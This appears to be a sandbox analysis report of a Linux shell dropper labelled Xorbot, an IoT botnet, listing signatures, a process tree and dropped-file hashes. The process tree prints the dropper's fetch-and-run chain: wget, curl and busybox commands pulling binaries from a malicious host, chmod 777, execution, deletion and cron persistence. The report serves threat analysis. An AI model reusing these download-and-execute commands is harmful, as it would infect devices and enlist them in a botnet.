Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/02/2025, 11:43

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250227-nvmb8swtav
  • SHA256 c87e1da6208974643e90182d3569a11d52000e4e09f6e132db4b28a55922b9c3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:699
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:708
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:718
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • System Network Configuration Discovery
        PID:731
      • /bin/chmod
        chmod 777 bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
        • File and Directory Permissions Modification
        PID:777
      • /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        ./bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
        2⤵
          PID:781
        • /bin/rm
          rm bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
          2⤵
            PID:783
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:784
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:785
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:789
          • /bin/chmod
            chmod 777 8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
            • File and Directory Permissions Modification
            PID:792
          • /tmp/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            ./8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
            2⤵
              PID:793
            • /bin/rm
              rm 8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:812
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • System Network Configuration Discovery
                PID:825
              • /bin/chmod
                chmod 777 rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                • File and Directory Permissions Modification
                PID:826
              • /tmp/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                ./rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                2⤵
                  PID:827
                • /bin/rm
                  rm rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                  2⤵
                    PID:829
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:830
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    2⤵
                    • System Network Configuration Discovery
                    PID:833
                  • /bin/chmod
                    chmod 777 5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    2⤵
                    • File and Directory Permissions Modification
                    PID:834
                  • /tmp/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    ./5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                    2⤵
                      PID:835
                    • /bin/rm
                      rm 5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                      2⤵
                        PID:837
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:838
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:839
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        2⤵
                        • System Network Configuration Discovery
                        PID:841
                      • /bin/chmod
                        chmod 777 l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        2⤵
                        • File and Directory Permissions Modification
                        PID:842
                      • /tmp/l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        ./l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                        2⤵
                          PID:843
                        • /bin/rm
                          rm l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                          2⤵
                            PID:845
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:846
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:847
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            2⤵
                            • System Network Configuration Discovery
                            PID:849
                          • /bin/chmod
                            chmod 777 tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            2⤵
                            • File and Directory Permissions Modification
                            PID:850
                          • /tmp/tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            ./tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                            2⤵
                              PID:851
                            • /bin/rm
                              rm tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                              2⤵
                                PID:853
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:854
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:855
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:857
                              • /bin/chmod
                                chmod 777 0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                2⤵
                                • File and Directory Permissions Modification
                                PID:858
                              • /tmp/0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                ./0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                2⤵
                                  PID:859
                                • /bin/rm
                                  rm 0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                  2⤵
                                    PID:861
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:862
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:863
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:865
                                  • /bin/chmod
                                    chmod 777 6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:866
                                  • /tmp/6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    ./6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                    2⤵
                                      PID:867
                                    • /bin/rm
                                      rm 6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                      2⤵
                                        PID:869
                                      • /usr/bin/wget
                                        wget http://conn.masjesu.zip/bins/SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:870
                                      • /usr/bin/curl
                                        curl -O http://conn.masjesu.zip/bins/SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        2⤵
                                        • System Network Configuration Discovery
                                        • Writes file to tmp directory
                                        PID:871
                                      • /bin/busybox
                                        /bin/busybox wget http://conn.masjesu.zip/bins/SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        2⤵
                                        • System Network Configuration Discovery
                                        PID:873
                                      • /bin/chmod
                                        chmod 777 SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:874
                                      • /tmp/SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        ./SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                        2⤵
                                          PID:875
                                        • /bin/rm
                                          rm SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                          2⤵
                                            PID:877
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:878
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            2⤵
                                            • System Network Configuration Discovery
                                            • Writes file to tmp directory
                                            PID:879
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:881
                                          • /bin/chmod
                                            chmod 777 4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:882
                                          • /tmp/4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            ./4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                            2⤵
                                            • Renames itself
                                            • Reads runtime system information
                                            PID:883
                                            • /bin/sh
                                              sh -c "crontab -l"
                                              3⤵
                                                PID:885
                                                • /usr/bin/crontab
                                                  crontab -l
                                                  4⤵
                                                    PID:886
                                                • /bin/sh
                                                  sh -c "crontab -"
                                                  3⤵
                                                    PID:887
                                                    • /usr/bin/crontab
                                                      crontab -
                                                      4⤵
                                                      • Creates/modifies Cron job
                                                      PID:888
                                                • /bin/rm
                                                  rm 4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                                  2⤵
                                                    PID:890
                                                  • /usr/bin/wget
                                                    wget http://conn.masjesu.zip/bins/LJmNOf5n67SN4gY3zi6I0jcnlx5qxKRD9C
                                                    2⤵
                                                    • System Network Configuration Discovery
                                                    PID:893

                                                Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK

                                                      • Path /tmp/0XljJ7Sa2tNOuZCL8ue0sRYZ2necd0xDxK
                                                      • Size 117KB
                                                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD

                                                      • Path /tmp/4QtGUZbW9i2T6PG9cQrGOuRmxnPQc8NOOD
                                                      • Size 151KB
                                                      • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      5awEmFos1V9SuwbPBA1cok4hjviecT7j29

                                                      • Path /tmp/5awEmFos1V9SuwbPBA1cok4hjviecT7j29
                                                      • Size 111KB
                                                      • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td

                                                      • Path /tmp/6GvnZVI43cfL7yhhaU93nMTCCygZNdV9Td
                                                      • Size 99KB
                                                      • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F

                                                      • Path /tmp/8hz5HZ0Nxk8IrU9TRVSbmsVtVf6hr8xu8F
                                                      • Size 98KB
                                                      • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb

                                                      • Path /tmp/SzzwOftZ7YxJplioDw0ms0DyPPYdVWGeHb
                                                      • Size 177KB
                                                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3

                                                      • Path /tmp/bK6PcrXT9JxKmuSKmJ7kMPo58gSW3Xx0r3
                                                      • Size 112KB
                                                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN

                                                      • Path /tmp/l2Ej7yWuixncvW2YZmMq5XtaOfiQOEy7sN
                                                      • Size 122KB
                                                      • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw

                                                      • Path /tmp/rVsYHFtd2f3VssP7TZznohlNQIJC0xwJgw
                                                      • Size 127KB
                                                      • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe

                                                      • Path /tmp/tpqecVbEzxC3qAgLtTuff0oduaY2koRdbe
                                                      • Size 111KB
                                                      • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      tmp.RqYOtm

                                                      • Path /var/spool/cron/crontabs/tmp.RqYOtm
                                                      • Size 210B
                                                      • SHA256 198757208d3bf2ba44c0280a93c449b2e3f33494982fcb122763de979169bba3
                                                      • MD5 SHA1 SHA512